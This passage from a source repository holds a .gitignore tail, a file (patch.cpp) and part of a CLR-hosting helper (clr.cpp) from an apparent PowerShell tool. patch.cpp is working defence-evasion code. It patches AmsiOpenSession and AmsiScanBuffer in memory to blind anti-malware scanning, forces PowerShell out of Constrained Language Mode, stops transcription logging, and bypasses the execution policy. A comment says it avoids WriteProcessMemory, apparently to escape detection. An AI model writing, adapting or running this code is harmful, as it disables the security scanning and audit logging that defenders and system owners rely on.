*.log 94 | *.vspscc 95 | *.vssscc 96 | .builds 97 | *.pidb 98 | *.svclog 99 | *.scc 100 | 101 | # Chutzpah Test files 102 | _Chutzpah* 103 | 104 | # Visual C++ cache files 105 | ipch/ 106 | *.aps 107 | *.ncb 108 | *.opendb 109 | *.opensdf 110 | *.sdf 111 | *.cachefile 112 | *.VC.db 113 | *.VC.VC.opendb 114 | 115 | # Visual Studio profiler 116 | *.psess 117 | *.vsp 118 | *.vspx 119 | *.sap 120 | 121 | # Visual Studio Trace Files 122 | *.e2e 123 | 124 | # TFS 2012 Local Workspace 125 | $tf/ 126 | 127 | # Guidance Automation Toolkit 128 | *.gpState 129 | 130 | # ReSharper is a .NET coding add-in 131 | _ReSharper*/ 132 | *.[Rr]e[Ss]harper 133 | *.DotSettings.user 134 | 135 | # TeamCity is a build add-in 136 | _TeamCity* 137 | 138 | # DotCover is a Code Coverage Tool 139 | *.dotCover 140 | 141 | # AxoCover is a Code Coverage Tool 142 | .axoCover/* 143 | !.axoCover/settings.json 144 | 145 | # Coverlet is a free, cross platform Code Coverage Tool 146 | coverage*.json 147 | coverage*.xml 148 | coverage*.info 149 | 150 | # Visual Studio code coverage results 151 | *.coverage 152 | *.coveragexml 153 | 154 | # NCrunch 155 | _NCrunch_* 156 | .*crunch*.local.xml 157 | nCrunchTemp_* 158 | 159 | # MightyMoose 160 | *.mm.* 161 | AutoTest.Net/ 162 | 163 | # Web workbench (sass) 164 | .sass-cache/ 165 | 166 | # Installshield output folder 167 | [Ee]xpress/ 168 | 169 | # DocProject is a documentation generator add-in 170 | DocProject/buildhelp/ 171 | DocProject/Help/*.HxT 172 | DocProject/Help/*.HxC 173 | DocProject/Help/*.hhc 174 | DocProject/Help/*.hhk 175 | DocProject/Help/*.hhp 176 | DocProject/Help/Html2 177 | DocProject/Help/html 178 | 179 | # Click-Once directory 180 | publish/ 181 | 182 | # Publish Web Output 183 | *.[Pp]ublish.xml 184 | *.azurePubxml 185 | # Note: Comment the next line if you want to checkin your web deploy settings, 186 | # but database connection strings (with potential passwords) will be unencrypted 187 | *.pubxml 188 | *.publishproj 189 | 190 | # Microsoft Azure Web App publish settings. Comment the next line if you want to 191 | # checkin your Azure Web App publish settings, but sensitive information contained 192 | # in these scripts will be unencrypted 193 | PublishScripts/ 194 | 195 | # NuGet Packages 196 | *.nupkg 197 | # NuGet Symbol Packages 198 | *.snupkg 199 | # The packages folder can be ignored because of Package Restore 200 | **/[Pp]ackages/* 201 | # except build/, which is used as an MSBuild target. 202 | !**/[Pp]ackages/build/ 203 | # Uncomment if necessary however generally it will be regenerated when needed 204 | #!**/[Pp]ackages/repositories.config 205 | # NuGet v3's project.json files produces more ignorable files 206 | *.nuget.props 207 | *.nuget.targets 208 | 209 | # Microsoft Azure Build Output 210 | csx/ 211 | *.build.csdef 212 | 213 | # Microsoft Azure Emulator 214 | ecf/ 215 | rcf/ 216 | 217 | # Windows Store app package directories and files 218 | AppPackages/ 219 | BundleArtifacts/ 220 | Package.StoreAssociation.xml 221 | _pkginfo.txt 222 | *.appx 223 | *.appxbundle 224 | *.appxupload 225 | 226 | # Visual Studio cache files 227 | # files ending in .cache can be ignored 228 | *.[Cc]ache 229 | # but keep track of directories ending in .cache 230 | !?*.[Cc]ache/ 231 | 232 | # Others 233 | ClientBin/ 234 | ~$* 235 | *~ 236 | *.dbmdl 237 | *.dbproj.schemaview 238 | *.jfm 239 | *.pfx 240 | *.publishsettings 241 | orleans.codegen.cs 242 | 243 | # Including strong name files can present a security risk 244 | # (https://github.com/github/gitignore/pull/2483#issue-259490424) 245 | #*.snk 246 | 247 | # Since there are multiple workflows, uncomment next line to ignore bower_components 248 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622) 249 | #bower_components/ 250 | 251 | # RIA/Silverlight projects 252 | Generated_Code/ 253 | 254 | # Backup & report files from converting an old project file 255 | # to a newer Visual Studio version. Backup files are not needed, 256 | # because we have git ;-) 257 | _UpgradeReport_Files/ 258 | Backup*/ 259 | UpgradeLog*.XML 260 | UpgradeLog*.htm 261 | ServiceFabricBackup/ 262 | *.rptproj.bak 263 | 264 | # SQL Server files 265 | *.mdf 266 | *.ldf 267 | *.ndf 268 | 269 | # Business Intelligence projects 270 | *.rdl.data 271 | *.bim.layout 272 | *.bim_*.settings 273 | *.rptproj.rsuser 274 | *- [Bb]ackup.rdl 275 | *- [Bb]ackup ([0-9]).rdl 276 | *- [Bb]ackup ([0-9][0-9]).rdl 277 | 278 | # Microsoft Fakes 279 | FakesAssemblies/ 280 | 281 | # GhostDoc plugin setting file 282 | *.GhostDoc.xml 283 | 284 | # Node.js Tools for Visual Studio 285 | .ntvs_analysis.dat 286 | node_modules/ 287 | 288 | # Visual Studio 6 build log 289 | *.plg 290 | 291 | # Visual Studio 6 workspace options file 292 | *.opt 293 | 294 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.) 295 | *.vbw 296 | 297 | # Visual Studio LightSwitch build output 298 | **/*.HTMLClient/GeneratedArtifacts 299 | **/*.DesktopClient/GeneratedArtifacts 300 | **/*.DesktopClient/ModelManifest.xml 301 | **/*.Server/GeneratedArtifacts 302 | **/*.Server/ModelManifest.xml 303 | _Pvt_Extensions 304 | 305 | # Paket dependency manager 306 | .paket/paket.exe 307 | paket-files/ 308 | 309 | # FAKE - F# Make 310 | .fake/ 311 | 312 | # CodeRush personal settings 313 | .cr/personal 314 | 315 | # Python Tools for Visual Studio (PTVS) 316 | __pycache__/ 317 | *.pyc 318 | 319 | # Cake - Uncomment if you are using it 320 | # tools/** 321 | # !tools/packages.config 322 | 323 | # Tabs Studio 324 | *.tss 325 | 326 | # Telerik's JustMock configuration file 327 | *.jmconfig 328 | 329 | # BizTalk build output 330 | *.btp.cs 331 | *.btm.cs 332 | *.odx.cs 333 | *.xsd.cs 334 | 335 | # OpenCover UI analysis results 336 | OpenCover/ 337 | 338 | # Azure Stream Analytics local run output 339 | ASALocalRun/ 340 | 341 | # MSBuild Binary and Structured Log 342 | *.binlog 343 | 344 | # NVidia Nsight GPU debugger configuration file 345 | *.nvuser 346 | 347 | # MFractors (Xamarin productivity tool) working folder 348 | .mfractor/ 349 | 350 | # Local History for Visual Studio 351 | .localhistory/ 352 | 353 | # BeatPulse healthcheck temp database 354 | healthchecksdb 355 | 356 | # Backup folder for Package Reference Convert tool in Visual Studio 2017 357 | MigrationBackup/ 358 | 359 | # Ionide (cross platform F# VS Code tools) working folder 360 | .ionide/ 361 | 362 | # Fody - auto-generated XML schema 363 | FodyWeavers.xsd -------------------------------------------------------------------------------- /PowerChellLib/patch.cpp: -------------------------------------------------------------------------------- 1 | #include "common.h" 2 | #include "patch.h" 3 | #include "clr.h" 4 | 5 | // 6 | // The following function patches 'AMSI!AmsiOpenSession' so that it returns the 7 | // error code 0x80070057 (invalid parameters) when invoked. It does so by replacing 8 | // a conditonal jump (JZ) at the beginning of the function with a simple jump (JMP). 9 | // 10 | // Below is the part of AMSI!AmsiOpenSession we're interest in: 11 | // 12 | // 48 85 d2 TEST param_2,param_2 <-- Test if return value pointer is null 13 | // 74 0c JZ LAB_180008aa1 <-- Conditional JZ replaced by JMP 14 | // ... 15 | // b8 57 00 MOV EAX,0x80070057 <-- Return error code 0x80070057 16 | // 07 80 17 | // c3 RET 18 | // 19 | // Credit: 20 | // - https://github.com/anonymous300502/Nuke-AMSI 21 | // 22 | BOOL PatchAmsiOpenSession() 23 | { 24 | BYTE bPatch[] = { 0xeb }; 25 | 26 | return PatchUnmanagedFunction( 27 | L"amsi", 28 | "AmsiOpenSession", 29 | bPatch, 30 | ARRAYSIZE(bPatch), 31 | 3 32 | ); 33 | } 34 | 35 | // 36 | // The following function patches 'AMSI!AmsiScanBuffer' so that its third parameter, 37 | // i.e. the one containing the length of the input buffer is always set to 0. Doing 38 | // so causes the function to never scan the input buffer. 39 | // 40 | // ... 41 | // 41 8b f8 MOV EDI,param_3 <-- Copy buffer length to EDI 42 | // 48 8b f2 MOV RSI,param_2 <-- Copy buffer address to RSI 43 | // ... 44 | // 45 | // The instruction 'MOV EDI,param_3' is replaced by 'XOR RDI,RDI', which has the same 46 | // size and effectively set RDI to 0. 47 | // 48 | BOOL PatchAmsiScanBuffer() 49 | { 50 | BYTE bPattern[] = { 0x41, 0x8b, 0xf8 }; // mov edi,r8d 51 | BYTE bPatch[] = { 0x48, 0x31, 0xff }; // xor rdi,rdi 52 | ULONG_PTR pAmsiScanBuffer; 53 | DWORD dwPatternOffset; 54 | 55 | if (!GetProcedureAddress(L"amsi", "AmsiScanBuffer", &pAmsiScanBuffer)) 56 | return FALSE; 57 | 58 | if (!FindBufferOffset(reinterpret_cast(pAmsiScanBuffer), bPattern, ARRAYSIZE(bPattern), 100, &dwPatternOffset)) 59 | return FALSE; 60 | 61 | //wprintf(L"[*] Found instruction to patch in AmsiScanBuffer @ 0x%llx (offset: %d)\n", pAmsiScanBuffer + dwPatternOffset, dwPatternOffset); 62 | 63 | return PatchUnmanagedFunction( 64 | L"amsi", 65 | "AmsiScanBuffer", 66 | bPatch, 67 | ARRAYSIZE(bPatch), 68 | dwPatternOffset 69 | ); 70 | } 71 | 72 | // 73 | // PowerShell uses the method 'GetSystemLockdownPolicy' (SystemPolicy) to get the 74 | // value of the execution policy enforced on the system. By patching this method 75 | // with the following instructions, we force it to always return the value 76 | // SystemEnforcementMode.None, which to translates to "Full Language Mode". 77 | // 78 | // xor rax, rax; <-- Set return value to 0 79 | // ret; 80 | // 81 | // Credit: 82 | // - https://github.com/calebstewart/bypass-clm 83 | // 84 | BOOL PatchSystemPolicyGetSystemLockdownPolicy(mscorlib::_AppDomain* pAppDomain) 85 | { 86 | BYTE bPatch[] = { 0x48, 0x31, 0xc0, 0xc3 }; // mov rax, 0; ret; 87 | 88 | return PatchManagedFunction( 89 | pAppDomain, 90 | L"System.Management.Automation", 91 | L"System.Management.Automation.Security.SystemPolicy", 92 | L"GetSystemLockdownPolicy", 93 | 0, 94 | bPatch, 95 | ARRAYSIZE(bPatch), 96 | 0 97 | ); 98 | } 99 | 100 | // 101 | // When transcription is enabled, PowerShell uses a class named 'TranscriptionOption' 102 | // to store information about the log file path for instance. It also has a method 103 | // named 'FlushContentToDisk' responsible for writing user prompts to this file. By 104 | // patching this method with a simple 'ret' instruction, we effectively prevent it 105 | // from writing anything to disk. 106 | // 107 | // Credit: 108 | // - https://github.com/OmerYa/Invisi-Shell 109 | // 110 | // Links: 111 | // - https://github.com/PowerShell/PowerShell/blob/master/src/System.Management.Automation/engine/hostifaces/MshHostUserInterface.cs 112 | // 113 | BOOL PatchTranscriptionOptionFlushContentToDisk(mscorlib::_AppDomain* pAppDomain) 114 | { 115 | BYTE bPatch[] = { 0xc3 }; // ret; 116 | 117 | return PatchManagedFunction( 118 | pAppDomain, 119 | L"System.Management.Automation", 120 | L"System.Management.Automation.Host.TranscriptionOption", 121 | L"FlushContentToDisk", 122 | 0, 123 | bPatch, 124 | ARRAYSIZE(bPatch), 125 | 0 126 | ); 127 | } 128 | 129 | // 130 | // Whatever the execution policy enforced on a system, the class 'AuthorizationManager' 131 | // (System.Management.Automation) is in charge of determining whether a given script 132 | // file should be executed, thanks to its internal method 'ShouldRunInternal'. This 133 | // method does not return a boolean value, but instead throws an exception in case the 134 | // execution is restricted. Therefore, by patching this function with a simple 'ret' 135 | // instruction, we make it so that this function never throws an exception, this 136 | // circumventing the execution policy. 137 | // 138 | // This technique was inspired by a blog post from NetSPI (see credit section), which 139 | // mentions the 'AuthorizationManager' class (technique #12). 140 | // 141 | // Credit: 142 | // - https://www.netspi.com/blog/technical-blog/network-pentesting/15-ways-to-bypass-the-powershell-execution-policy/ 143 | // 144 | // Links: 145 | // - https://github.com/PowerShell/PowerShell/blob/master/src/System.Management.Automation/engine/SecurityManagerBase.cs 146 | // 147 | BOOL PatchAuthorizationManagerShouldRunInternal(mscorlib::_AppDomain* pAppDomain) 148 | { 149 | BYTE bPatch[] = { 0xc3 }; // ret; 150 | 151 | return PatchManagedFunction( 152 | pAppDomain, 153 | L"System.Management.Automation", 154 | L"System.Management.Automation.AuthorizationManager", 155 | L"ShouldRunInternal", 156 | 3, 157 | bPatch, 158 | ARRAYSIZE(bPatch), 159 | 0 160 | ); 161 | } 162 | 163 | BOOL GetProcedureAddress(LPCWSTR pwszModuleName, LPCSTR pszProcedureName, PULONG_PTR pProcedureAddress) 164 | { 165 | BOOL bResult = FALSE; 166 | HMODULE hModule = NULL; 167 | FARPROC pProcedure = NULL; 168 | 169 | // We assume the module has already been loaded 170 | hModule = GetModuleHandleW(pwszModuleName); 171 | EXIT_ON_WIN32_ERROR(L"GetModuleHandleW", hModule == NULL); 172 | 173 | pProcedure = GetProcAddress(hModule, pszProcedureName); 174 | EXIT_ON_WIN32_ERROR(L"", pProcedure == NULL); 175 | 176 | bResult = TRUE; 177 | *pProcedureAddress = reinterpret_cast(pProcedure); 178 | 179 | exit: 180 | return bResult; 181 | } 182 | 183 | BOOL PatchProcedure(LPVOID pTargetAddress, LPBYTE pSourceBuffer, DWORD dwSourceBufferSize) 184 | { 185 | BOOL bResult = FALSE; 186 | DWORD dwOldProtect = 0; 187 | BOOL bSuccess = FALSE; 188 | 189 | bSuccess = VirtualProtectEx(GetCurrentProcess(), pTargetAddress, dwSourceBufferSize, PAGE_EXECUTE_READWRITE, &dwOldProtect); 190 | EXIT_ON_WIN32_ERROR(L"VirtualProtectEx", bSuccess == FALSE); 191 | 192 | // Avoid using WriteProcessMemory / NtWriteVirtualMemory 193 | memcpy_s(pTargetAddress, dwSourceBufferSize, pSourceBuffer, dwSourceBufferSize); 194 | 195 | bSuccess = VirtualProtectEx(GetCurrentProcess(), pTargetAddress, dwSourceBufferSize, dwOldProtect, &dwOldProtect); 196 | EXIT_ON_WIN32_ERROR(L"VirtualProtectEx", bSuccess == FALSE); 197 | 198 | bResult = TRUE; 199 | 200 | exit: 201 | return bResult; 202 | } 203 | 204 | BOOL PatchUnmanagedFunction(LPCWSTR pwszMdoduleName, LPCSTR pszProcedureName, LPBYTE pbPatch, DWORD dwPatchSize, DWORD dwPatchOffset) 205 | { 206 | ULONG_PTR pProcedureAddress = 0; 207 | 208 | if (!GetProcedureAddress(pwszMdoduleName, pszProcedureName, &pProcedureAddress)) 209 | return FALSE; 210 | 211 | pProcedureAddress += dwPatchOffset; 212 | 213 | //printf("[*] Patching unmanaged function '%s' @ 0x%llx\n", pszProcedureName, pProcedureAddress); 214 | 215 | if (!PatchProcedure(reinterpret_cast(pProcedureAddress), pbPatch, dwPatchSize)) 216 | return FALSE; 217 | 218 | return TRUE; 219 | } 220 | 221 | BOOL PatchManagedFunction(mscorlib::_AppDomain* pAppDomain, LPCWSTR pwszAssemblyName, LPCWSTR pwszClassName, LPCWSTR pwszMethodName, DWORD dwNbArgs, LPBYTE pbPatch, DWORD dwPatchSize, DWORD dwPatchOffset) 222 | { 223 | ULONG_PTR pMethodAddress = 0; 224 | 225 | if (!clr::GetJustInTimeMethodAddress(pAppDomain, pwszAssemblyName, pwszClassName, pwszMethodName, dwNbArgs, &pMethodAddress)) 226 | return FALSE; 227 | 228 | pMethodAddress += dwPatchOffset; 229 | 230 | //wprintf(L"[*] Patching managed function '%ws' @ 0x%llx\n", pwszMethodName, pMethodAddress); 231 | 232 | if (!PatchProcedure(reinterpret_cast(pMethodAddress), pbPatch, dwPatchSize)) 233 | return FALSE; 234 | 235 | return TRUE; 236 | } 237 | 238 | BOOL FindBufferOffset(LPVOID pStartAddress, LPBYTE pBuffer, DWORD dwBufferSize, DWORD dwMaxSize, PDWORD pdwBufferOffset) 239 | { 240 | BOOL bResult = FALSE; 241 | 242 | for (DWORD i = 0; i < dwMaxSize - dwBufferSize; i++) 243 | { 244 | if (memcmp(pBuffer, (LPVOID)((ULONG_PTR)pStartAddress + i), dwBufferSize) == 0) 245 | { 246 | *pdwBufferOffset = i; 247 | bResult = TRUE; 248 | break; 249 | } 250 | } 251 | 252 | if (!bResult) 253 | PRINT_ERROR("Failed to find pattern of size %d within the address range 0x%llx - 0x%llx\n", dwBufferSize, (ULONG_PTR)pStartAddress, (ULONG_PTR)pStartAddress + dwMaxSize); 254 | 255 | return bResult; 256 | } -------------------------------------------------------------------------------- /PowerChellLib/clr.cpp: -------------------------------------------------------------------------------- 1 | #include "common.h" 2 | #include "clr.h" 3 | 4 | BOOL clr::InitializeCommonLanguageRuntime(PCLR_CONTEXT pClrContext, mscorlib::_AppDomain** ppAppDomain) 5 | { 6 | BOOL bResult = FALSE; 7 | HRESULT hr; 8 | ICLRMetaHost* pMetaHost = NULL; 9 | ICLRRuntimeInfo* pRuntimeInfo = NULL; 10 | ICorRuntimeHost* pRuntimeHost = NULL; 11 | IUnknown* pAppDomainThunk = NULL; 12 | BOOL bIsLoadable; 13 | 14 | mscorlib::_AppDomain* pAppDomain = NULL; 15 | 16 | hr = CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost, reinterpret_cast(&pMetaHost)); 17 | EXIT_ON_HRESULT_ERROR(L"CLRCreateInstance", hr); 18 | 19 | hr = pMetaHost->GetRuntime(L"v4.0.30319", IID_ICLRRuntimeInfo, reinterpret_cast(&pRuntimeInfo)); 20 | EXIT_ON_HRESULT_ERROR(L"IMetaHost->GetRuntime", hr); 21 | 22 | hr = pRuntimeInfo->IsLoadable(&bIsLoadable); 23 | EXIT_ON_HRESULT_ERROR(L"IRuntimeInfo->IsLoadable", hr); 24 | 25 | hr = pRuntimeInfo->GetInterface(CLSID_CorRuntimeHost, IID_ICorRuntimeHost, reinterpret_cast(&pRuntimeHost)); 26 | EXIT_ON_HRESULT_ERROR(L"IRuntimeInfo->GetInterface", hr); 27 | 28 | hr = pRuntimeHost->Start(); 29 | EXIT_ON_HRESULT_ERROR(L"IRuntimeHost->Start", hr); 30 | 31 | hr = pRuntimeHost->CreateDomain(APP_DOMAIN, nullptr, &pAppDomainThunk); 32 | EXIT_ON_HRESULT_ERROR(L"IRuntimeHost->CreateDomain", hr); 33 | 34 | hr = pAppDomainThunk->QueryInterface(IID_PPV_ARGS(&pAppDomain)); 35 | EXIT_ON_HRESULT_ERROR(L"IAppDomainThunk->QueryInterface", hr); 36 | 37 | pClrContext->pMetaHost = pMetaHost; 38 | pClrContext->pRuntimeInfo = pRuntimeInfo; 39 | pClrContext->pRuntimeHost = pRuntimeHost; 40 | pClrContext->pAppDomainThunk = pAppDomainThunk; 41 | *ppAppDomain = pAppDomain; 42 | bResult = TRUE; 43 | 44 | exit: 45 | if (!bResult && pAppDomain) pAppDomain->Release(); 46 | if (!bResult && pAppDomainThunk) pAppDomainThunk->Release(); 47 | if (!bResult && pRuntimeHost) pRuntimeHost->Release(); 48 | if (!bResult && pRuntimeInfo) pRuntimeInfo->Release(); 49 | if (!bResult && pMetaHost) pMetaHost->Release(); 50 | 51 | return bResult; 52 | } 53 | 54 | void clr::DestroyCommonLanguageRuntime(PCLR_CONTEXT pClrContext, mscorlib::_AppDomain* pAppDomain) 55 | { 56 | if (pAppDomain) pAppDomain->Release(); 57 | if (pClrContext->pAppDomainThunk) pClrContext->pAppDomainThunk->Release(); 58 | if (pClrContext->pRuntimeHost) pClrContext->pRuntimeHost->Release(); 59 | if (pClrContext->pRuntimeInfo) pClrContext->pRuntimeInfo->Release(); 60 | if (pClrContext->pMetaHost) pClrContext->pMetaHost->Release(); 61 | } 62 | 63 | BOOL clr::FindAssemblyPath(LPCWSTR pwszAssemblyName, LPWSTR* ppwszAssemblyPath) 64 | { 65 | BOOL bResult = FALSE; 66 | WIN32_FIND_DATA ffd = { 0 }; 67 | LPCWSTR pwszAssemblyFolderPath = L"C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL"; 68 | LPWSTR pwszSearchPath = NULL; 69 | LPWSTR pwszAssemblyPath = NULL; 70 | HANDLE hFind = NULL; 71 | HANDLE hAssemblyFile = NULL; 72 | 73 | pwszSearchPath = (LPWSTR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, MAX_PATH * sizeof(*pwszSearchPath)); 74 | EXIT_ON_WIN32_ERROR(L"HeapAlloc", pwszSearchPath == NULL); 75 | 76 | pwszAssemblyPath = (LPWSTR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, MAX_PATH * sizeof(*pwszAssemblyPath)); 77 | EXIT_ON_WIN32_ERROR(L"HeapAlloc", pwszAssemblyPath == NULL); 78 | 79 | swprintf_s(pwszSearchPath, MAX_PATH, L"%ws\\%ws\\*", pwszAssemblyFolderPath, pwszAssemblyName); 80 | 81 | hFind = FindFirstFileW(pwszSearchPath, &ffd); 82 | EXIT_ON_WIN32_ERROR(L"FindFirstFileW", hFind == INVALID_HANDLE_VALUE); 83 | 84 | do 85 | { 86 | if (ffd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) 87 | { 88 | swprintf_s(pwszAssemblyPath, MAX_PATH, L"%ws\\%ws\\%ws\\%ws.dll", pwszAssemblyFolderPath, pwszAssemblyName, ffd.cFileName, pwszAssemblyName); 89 | hAssemblyFile = CreateFileW(pwszAssemblyPath, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); 90 | if (hAssemblyFile != INVALID_HANDLE_VALUE) 91 | { 92 | bResult = TRUE; 93 | CloseHandle(hAssemblyFile); 94 | break; 95 | } 96 | } 97 | } while (FindNextFileW(hFind, &ffd) != 0); 98 | 99 | if (!bResult) goto exit; 100 | 101 | *ppwszAssemblyPath = pwszAssemblyPath; 102 | 103 | exit: 104 | if (hFind && hFind != INVALID_HANDLE_VALUE) FindClose(hFind); 105 | if (!bResult && pwszAssemblyPath) HeapFree(GetProcessHeap(), HEAP_ZERO_MEMORY, pwszAssemblyPath); 106 | if (pwszSearchPath) HeapFree(GetProcessHeap(), HEAP_ZERO_MEMORY, pwszSearchPath); 107 | 108 | return bResult; 109 | } 110 | 111 | BOOL clr::GetAssembly(mscorlib::_AppDomain* pAppDomain, LPCWSTR pwszAssemblyName, mscorlib::_Assembly** ppAssembly) 112 | { 113 | BOOL bResult = FALSE; 114 | HRESULT hr; 115 | LONG lAssembliesLowerBound, lAssembliesUpperBound; 116 | LONG lTargetAssemblyNameLength, lCurrentAssemblyNameLength, lAssemblyNameIndex; 117 | BSTR bstrAssemblyFullName; 118 | SAFEARRAY* pLoadedAssembliesArray = NULL; 119 | mscorlib::_Assembly** ppLoadedAssemblies = NULL; 120 | 121 | lTargetAssemblyNameLength = (LONG)wcslen(pwszAssemblyName); 122 | 123 | hr = pAppDomain->GetAssemblies(&pLoadedAssembliesArray); 124 | EXIT_ON_HRESULT_ERROR(L"AppDomain->GetAssemblies", hr); 125 | 126 | SafeArrayGetLBound(pLoadedAssembliesArray, 1, &lAssembliesLowerBound); 127 | SafeArrayGetUBound(pLoadedAssembliesArray, 1, &lAssembliesUpperBound); 128 | 129 | hr = SafeArrayAccessData(pLoadedAssembliesArray, (void**)&ppLoadedAssemblies); 130 | EXIT_ON_HRESULT_ERROR(L"SafeArrayAccessData", hr); 131 | 132 | for (int i = 0; i < lAssembliesUpperBound - lAssembliesLowerBound + 1; i++) 133 | { 134 | bstrAssemblyFullName = NULL; 135 | hr = ppLoadedAssemblies[i]->get_FullName(&bstrAssemblyFullName); 136 | 137 | if (SUCCEEDED(hr)) 138 | { 139 | // 140 | // If the target assembly name is 'Some.Assembly.Name', check whether 141 | // the current assembly's full name starts with 'Some.Assembly.Name,'. 142 | // As an example, the full name of the 'System.Management.Automation' 143 | // assembly would be something like: 144 | // System.Management.Automation, Version=3.0.0.0, Culture=neutral, 145 | // PublicKeyToken=31bf3856ad364e35 146 | // 147 | 148 | lCurrentAssemblyNameLength = (LONG)wcslen(bstrAssemblyFullName); 149 | 150 | if (lCurrentAssemblyNameLength > lTargetAssemblyNameLength) 151 | { 152 | for (lAssemblyNameIndex = 0; lAssemblyNameIndex < lTargetAssemblyNameLength; lAssemblyNameIndex++) 153 | { 154 | if (pwszAssemblyName[lAssemblyNameIndex] != bstrAssemblyFullName[lAssemblyNameIndex]) 155 | break; 156 | } 157 | 158 | if (lAssemblyNameIndex == lTargetAssemblyNameLength) 159 | { 160 | if (bstrAssemblyFullName[lAssemblyNameIndex] == L',') 161 | { 162 | bResult = TRUE; 163 | *ppAssembly = ppLoadedAssemblies[i]; 164 | break; 165 | } 166 | } 167 | } 168 | 169 | SysFreeString(bstrAssemblyFullName); 170 | } 171 | } 172 | 173 | exit: 174 | if (pLoadedAssembliesArray) SafeArrayDestroy(pLoadedAssembliesArray); 175 | 176 | return bResult; 177 | } 178 | 179 | BOOL clr::LoadAssembly(mscorlib::_AppDomain* pAppDomain, LPCWSTR pwszAssemblyName, mscorlib::_Assembly** ppAssembly) 180 | { 181 | BOOL bResult = FALSE; 182 | HRESULT hr; 183 | DWORD dwBytesRead; 184 | HANDLE hAssemblyFile = NULL; 185 | LPWSTR pwszAssemblyPath = NULL; 186 | LARGE_INTEGER liAssemblyFileSize = { 0 }; 187 | SAFEARRAYBOUND sab = { 0 }; 188 | SAFEARRAY* pSafeAssembly = NULL; 189 | mscorlib::_Assembly* pAssembly = NULL; 190 | 191 | // Check if assembly is already loaded 192 | if (!clr::GetAssembly(pAppDomain, pwszAssemblyName, &pAssembly)) 193 | { 194 | if (!clr::FindAssemblyPath(pwszAssemblyName, &pwszAssemblyPath)) 195 | goto exit; 196 | 197 | hAssemblyFile = CreateFileW(pwszAssemblyPath, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); 198 | EXIT_ON_WIN32_ERROR(L"CreateFileW", hAssemblyFile == INVALID_HANDLE_VALUE); 199 | EXIT_ON_WIN32_ERROR(L"GetFileSizeEx", GetFileSizeEx(hAssemblyFile, &liAssemblyFileSize) == FALSE); 200 | 201 | sab = { (ULONG)liAssemblyFileSize.QuadPart, 0 }; 202 | pSafeAssembly = SafeArrayCreate(VT_UI1, 1, &sab); 203 | 204 | EXIT_ON_WIN32_ERROR(L"ReadFile", ReadFile(hAssemblyFile, pSafeAssembly->pvData, (DWORD)liAssemblyFileSize.QuadPart, &dwBytesRead, NULL) == FALSE); 205 | 206 | hr = pAppDomain->Load_3(pSafeAssembly, &pAssembly); 207 | EXIT_ON_HRESULT_ERROR(L"AppDomain->Load_3", hr); 208 | } 209 | 210 | *ppAssembly = pAssembly; 211 | bResult = TRUE; 212 | 213 | exit: 214 | if (pSafeAssembly) SafeArrayDestroy(pSafeAssembly); 215 | if (hAssemblyFile && hAssemblyFile != INVALID_HANDLE_VALUE) CloseHandle(hAssemblyFile); 216 | if (pwszAssemblyPath) HeapFree(GetProcessHeap(), HEAP_ZERO_MEMORY, pwszAssemblyPath); 217 | 218 | return bResult; 219 | } 220 | 221 | BOOL clr::CreateInstance(mscorlib::_AppDomain* pAppDomain, LPCWSTR pwszAssemblyName, LPCWSTR pwszClassName, VARIANT* pvtInstance) 222 | { 223 | BOOL bResult = FALSE; 224 | HRESULT hr; 225 | BSTR bstrClassName = SysAllocString(pwszClassName); 226 | VARIANT vtInstance = { 0 }; 227 | mscorlib::_Assembly* pAssembly = NULL; 228 | 229 | if (!clr::LoadAssembly(pAppDomain, pwszAssemblyName, &pAssembly)) 230 | goto exit; 231 | 232 | hr = pAssembly->CreateInstance(bstrClassName, &vtInstance); 233 | EXIT_ON_HRESULT_ERROR(L"Assembly->CreateInstance", hr); 234 | 235 | memcpy_s(pvtInstance, sizeof(*pvtInstance), &vtInstance, sizeof(vtInstance)); 236 | bResult = TRUE; 237 | 238 | exit: 239 | if (bstrClassName) SysFreeString(bstrClassName); 240 | if (pAssembly) pAssembly->Release(); 241 | 242 | return bResult; 243 | } 244 | 245 | BOOL clr::GetType(mscorlib::_AppDomain* pAppDomain, LPCWSTR pwszAssemblyName, LPCWSTR pwszTypeFullName, mscorlib::_Type** ppType) 246 | { 247 | HRESULT hr; 248 | BOOL bResult = FALSE; 249 | BSTR bstrTypeFullName = SysAllocString(pwszTypeFullName); 250 | mscorlib::_Assembly* pAssembly = NULL; 251 | mscorlib::_Type* pType = NULL; 252 | 253 | if (!clr::LoadAssembly(pAppDomain, pwszAssemblyName, &pAssembly)) 254 | goto exit; 255 | 256 | hr = pAssembly->GetType_2(bstrTypeFullName, &pType); 257 | EXIT_ON_HRESULT_ERROR(L"Assembly->GetType_2", hr); 258 | EXIT_ON_NULL_POINTER(pwszTypeFullName, pType); 259 | 260 | *ppType = pType; 261 | bResult = TRUE; 262 | 263 | exit: 264 | if (bstrTypeFullName) SysFreeString(bstrTypeFullName); 265 | if (pAssembly) pAssembly->Release(); 266 | 267 | return bResult; 268 | } 269 | 270 | BOOL clr::GetProperty(mscorlib::_Type* pType, mscorlib::BindingFlags bindingFlags, LPCWSTR pwszPropertyName, mscorlib::_PropertyInfo** ppPropertyInfo) 271 | { 272 | HRESULT hr; 273 | BOOL bResult = FALSE; 274 | BSTR bstrPropertyName = SysAllocString(pwszPropertyName); 275 | mscorlib::_PropertyInfo* pPropertyInfo = NULL; 276 | 277 | hr = pType->GetProperty(bstrPropertyName, bindingFlags, &pPropertyInfo); 278 | EXIT_ON_HRESULT_ERROR(L"Type->GetProperty", hr); 279 | EXIT_ON_NULL_POINTER(pwszPropertyName, pPropertyInfo); 280 | 281 | *ppPropertyInfo = pPropertyInfo; 282 | bResult = TRUE; 283 | 284 | exit: 285 | if (bstrPropertyName) SysFreeString(bstrPropertyName); 286 | 287 | return bResult; 288 | } 289 | 290 | BOOL clr::GetPropertyValue(mscorlib::_Type* pType, mscorlib::BindingFlags 